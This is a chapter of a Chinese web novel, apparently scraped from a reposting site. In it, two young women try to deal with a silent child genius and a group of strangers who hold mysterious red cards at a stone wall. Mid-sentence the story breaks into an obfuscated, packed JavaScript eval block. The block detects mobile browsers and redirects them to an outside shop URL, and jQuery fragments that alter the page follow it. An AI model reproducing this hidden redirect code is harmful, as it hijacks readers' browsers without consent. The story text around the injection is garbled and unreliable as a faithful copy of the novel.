14. 晦涩灼人

作品:《昨日之海

    那个小何出现时,白漾清还有意往顾菀青与安歌身前跨了半步。可对面忽地又添上了三个成年男子,白漾清就有些紧张了。她正愁着如何与这几人周旋,顾菀青却是从她的身后钻了出来。


    “这不是周叔叔吗,怎么,你这是找到了这小孩家里人,特意跑过来告诉我一声?”顾菀青这话活像是拐了十八道弯,她半捂着下唇,视线从周永鸿、何广志、沈明,陆峻四人上一一扫过。


    她刚才帮着安歌找家里人的时候,从这几人身边路过了、问了不知多少次。一个个手摆得跟刮了八级风似的,也不知道说句帮忙。怎么,这会儿长良心了?


    顾菀青语带嘲讽,视线绕回到周永鸿上时,更是挑衅似地挑了下眉。


    周永鸿听出了言外之意,脸色当即便沉了下来。他怒瞪着顾菀青却也不说话,只拨弄着那玉珠子,一下比一下快。


    何广志瞧了那噼啪作响的玉串一眼,正欲说些什么,陡然对上了顾菀青身后白漾清不善的视线,颤了颤唇,又低下了头。


    余下的那两人,陆峻更是跟个鹌鹑一样,往后缩了一步。周永鸿嫌弃地啧了一声,却见沈明扬着笑走了出来。


    “顾小姐,我们又见面了。”


    “你是?”


    顾菀青倒不是有意拿乔,为帮小家伙寻家长,她这一晚上不知问了多少个人,除了品味独特自带音响的周永鸿外,其他的,顾菀青是真没多少印象了。


    沈明却也不恼,他伸手:“我叫沈明。”


    这是要握手吗?


    顾菀青愣了片刻才反应过来,她将小包移到另一只手上,朝人张开了手:“我...顾菀青。”


    在沈明即将握上去的时候,白漾清忽道:“沈先生,你是有什么安歌的线索吗?她说她的阿姨很快就要来接她了,您是遇到她的阿姨了?”


    说到安歌,顾菀青骤然回神,她下意识伸手往旁边一抓,可那小家伙像是黄油捏的,已然溜出了好几步远。


    “安歌!”


    顾菀青哪里还顾得到其他,她怒吼一声,快步追了上去,一把将人拎住了:“十分钟内,你的阿姨最好真的赶到了,否则,你信不信我让你再上一次头条!”


    安歌出逃失败,却也不开口为自己辩解,她在顾菀青手下挣扎了两下,很快意识到实力悬殊,索性放弃了挣扎,像个了无生趣的猫儿一样就这么绷着脸挂着了。


    于是顾菀青更气了:“好啊你,敢做不敢当是吧,你信不信我打你!”顾菀青拍了拍自己捏起的拳头,呲牙:“我告诉你,姐姐可是练过散打的,打起人来可狠了......”


    顾菀青色厉内荏的声音从一侧不断地传来,沈明摩挲了下自己的指尖,悬了半天的手终于还是落了下去。他将视线转向了‘罪魁祸首’,沈明先是上下打量了白漾清一眼,随即扯出一个很僵硬的笑:“这位小姐,请问你又是?”


    白漾清看着不远处的热闹,只微微向沈明偏了下头:“没听到菀青叫我姐姐吗?”


    原来是亲姐妹啊,沈明的笑都真诚了几分,他对着白漾清再度伸手:“顾小姐,您好。”


    沈明眼尾的笑纹很深,像是被同一条河流仿佛冲刷出的峡谷。可他今日带着一副枪灰色的眼镜,月光又恰巧不够偏爱他,于是白漾清看到的便不那么真切了。


    “白漾清。”


    她冷冷地报上了自己的名字,却没有伸手。不是同顾菀青一般没有反应过来,只是单纯的不喜。她甚至因这个在她看来有些‘冒犯’的举动,对沈明也生出几分不喜。白漾清错开了沈明碎裂的表情,视线戒备地从他身后的三人身上扫过。


    女性的体内活着一位更古老的自己,血液会比眼睛先一步听到潮汐的预警。她必须要确认这四人没有、或者说暂时没有恶意。


    期盼中的马前卒并没有进行冲锋,于是虚假的将军停下拨弄玉珠的手。周永鸿冷冷地哼了一声:“装腔作势!”,然后乜了眼低头装鹌鹑的何广志,扭身走了。


    剩下的陆峻么,他跟个受惊的小鸟似的,抬头想观察一下情况,正巧便撞进了白漾清淬冰的眸子,他面上一僵,下意识笑了一下,又慌忙避开了脸。


    白漾清恍然地眨了眨眼睛,这群人不像是有威胁的,到像是...像是哪个二流剧团跑出来的临时演员。


    白漾清摇了摇头,妄图甩掉这种奇怪的想法,然后大步朝着顾菀青追去。


    不想再遇上这样奇怪的四人组,白漾清与两人汇合后,皆是加快了步伐。


    但许是被顾菀青先前的那声暴喝吸引了注意,等三人走到那石墙下时,零碎的脚步声竟又从四周响起。


    光明总会带给人安全感,白漾清两人倒也不慌,就这么静立着,等着安歌口中的阿姨找过来,却不料身后忽的响起了一阵敲门声。


    嗵—嗵嗵——


    是沉闷而实在的、厚重得心惊的声音。


    顾菀青直觉像有两根骨头在摩挲,她浑身一个激灵,死死抱住了身侧的白漾清。白漾清也是一惊,倒不是因为这仿若敲门的节奏,而是这顾菀青。这小姑娘,先前那句散打,好像不是开玩笑的,这手劲也太大了。


    “别自己吓自己!”白漾清拍了拍顾菀青的胳膊安抚了一句,便想回头看个究竟。可这顾菀青像是被焊在她身上的钢板一样,完全没有反应。这是收到惊吓,陷入了急性解离状态①?


    好在林见愉有当考拉的爱好,白漾清倒也还撑得起这重量,她深吸了一口气,几乎是搬着顾菀青转的身:“顾菀青,是安歌在敲墙玩。”


    安歌一身浅薄荷色连衣裙,就这么蜷蹲在墙根下,像是一颗被遗忘了的绿小碗菌。指节弯曲,一下,又一下,扣着斑驳的墙面。


    顾菀青眼皮颤了两下,才缓缓睁开了眼睛:“安歌?”顾菀青神情几转,看着头也不抬的安歌,最后凝成了浓浓的失望。


    顾菀青是逃了家里的门禁出来的,许是迟来的叛逆,许是脑子一热,顾菀青便决定今晚将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166332|196727||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这古堡画下来。多么神奇的事情,相机无法捕捉,视频无法记录,像是一座无法被指证的城堡虚影。那画笔呢?经她指尖画下的每一道纹路,每一个抬手落笔的记忆,这些难道也会做假吗?


    顾菀青便是这时候看到安歌的——金城新闻与市高考状元并列,‘天才’少女,安歌。她像只绿绣眼鸟,就这么孤身闯入了这沉郁的夜色。顾菀青捏紧了平板,脑海中一个又一个的词浮现:深夜、独行、幼女、危险。安歌,这个她熟悉又陌生的‘别人家的孩子’,消失在茶余饭后里的一声声赞叹,此刻化成了一根无形的绳,拽着她走了过去。


    此刻回想,顾菀青只觉自己是踏入了一个错误的程序。抛开‘天才’的光环,安歌寡言、


    冷漠、甚至于顽劣。报纸上的荣光,父母口中的明日之星,此时此刻不过是一个恼人又不可理喻的噪音制造者。


    顾菀青看着迟迟没有反应的安歌,脑中那根名为‘教养’和‘责任感’的弦,终于是断了。她几乎是把安歌拽了起来,严肃道:“请不要这样敲了,大晚上的,这里又没有灯,很容易吓到别人!”


    “安歌!”她直呼其名,声音里再没一点温柔:“我不想陪你玩这种无聊地等待游戏了,你阿姨的电话,实在不行你父母的电话,不然,我就直接报警了。”


    夜风穿过她们之间短暂的空隙。顾菀青喘着气,她清澈的世界里从未有过如此晦涩灼人的过客,她的善意好似寻不到入口的风,只耗了自己的生气。


    安歌的手腕被攥住,她的面上终于有了些许诧异、惊慌。可那也只不过是短短一瞬间,她很快又低下头去,成为了彻头彻尾的懦夫。


    “安歌!”


    顾菀青这会儿是真的有想打人的冲动了,白漾清见她情绪有些失控,忙将顾菀青给按住了。说归说、闹归闹,打人这种事,可是万万不能干的。


    “好了,好了,已经等了好一会儿了,不差这一点时间了!”


    “是啊,时间到了。”


    因着方才小小的混乱,等两人再一抬头,眼前已然多出了十来个人。


    “什么时间?”看着众人沉重的神色,白漾清心中忽的有个不好的想法。


    “当然是见证真相的时间!”一个年纪约莫三十岁的男子,绕过白漾清,径直走向石墙,他先是用指尖敲了敲,然后又摩挲了一阵,最后,近乎虔诚地嗅了嗅。


    这痴迷的神态,白漾清莫名觉得眼熟,还未来得及细想,就见这人掏出了一张她分外眼熟的红色小卡。


    “这是?”


    白漾清惊呼,却怎么也说不下去。一张红卡是意外,两张红卡便已经不能称作巧合了,三张红卡,那便必然还有第四张、第五张。


    白漾清一时竟有些不敢回头了。可有些事情不是白漾清逃避就能躲过的。正在白漾清惊惧交加之时,她身侧的顾菀青开口了,她以一种分外惊奇,又无比天真的语气说:“这位大哥,好巧啊,我有一张和你很像的卡唉!”